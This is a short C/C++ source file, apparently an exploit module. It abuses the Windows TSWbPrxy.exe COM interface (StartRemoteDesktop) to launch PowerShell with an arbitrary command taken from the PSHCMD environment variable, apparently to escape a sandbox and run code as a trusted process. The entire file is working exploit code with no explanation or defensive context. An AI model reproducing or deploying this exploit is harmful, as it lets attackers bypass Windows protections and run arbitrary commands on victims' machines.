#include <Windows.h>
#include "Exploit.h"
#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace

static const size_t MaxEnv = 32767;

static PCHAR GetEnv(LPCSTR env)
{
	char *buf = (char *)malloc(MaxEnv);
	if (buf == NULL) {
		return NULL;
	}

	GetEnvironmentVariable(env, buf, MaxEnv);

	return buf;
}

static VOID DoTSWbPrxyExploit() {
	HRESULT			hr;
	IMSTSWebProxy   *pUnk;
	CHAR cmdline[] = "TSWbPrxy.exe";
	STARTUPINFO startInfo = { 0 };
	PROCESS_INFORMATION procInfo = { 0 };
	PCHAR fullPath = NULL;
	PCHAR powershell = NULL;
	PCHAR pshCmd = NULL;

	fullPath = GetEnv("windir");
	if (fullPath == NULL) {
		goto freeFullPath;
	}
	strcat_s(fullPath, MaxEnv, "\\System32\\TSWbPrxy.exe");

	powershell = GetEnv("windir");
	if (powershell == NULL) {
		goto freePowershell;
	}
	strcat_s(powershell, MaxEnv, "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe");

	pshCmd = GetEnv("PSHCMD");
	if (pshCmd == NULL) {
		goto freePowershell;
	}

	hr = CreateProcess(fullPath, cmdline, NULL, NULL, FALSE, 0, NULL, NULL, &startInfo, &procInfo);
	if (hr == 0)
		goto freePshCmd;

	hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk);
	if (hr != 0)
		goto freePshCmd;

	pUnk->StartRemoteDesktop(powershell, pshCmd);
	pUnk->Release();

freePshCmd:
	free(pshCmd);
	pshCmd = NULL;
freePowershell:
	free(powershell);
	powershell = NULL;
freeFullPath:
	free(fullPath);
	fullPath = NULL;

	return;
}

VOID DoExploit() {
	CoInitialize(NULL);
	DoTSWbPrxyExploit();
	CoUninitialize();
}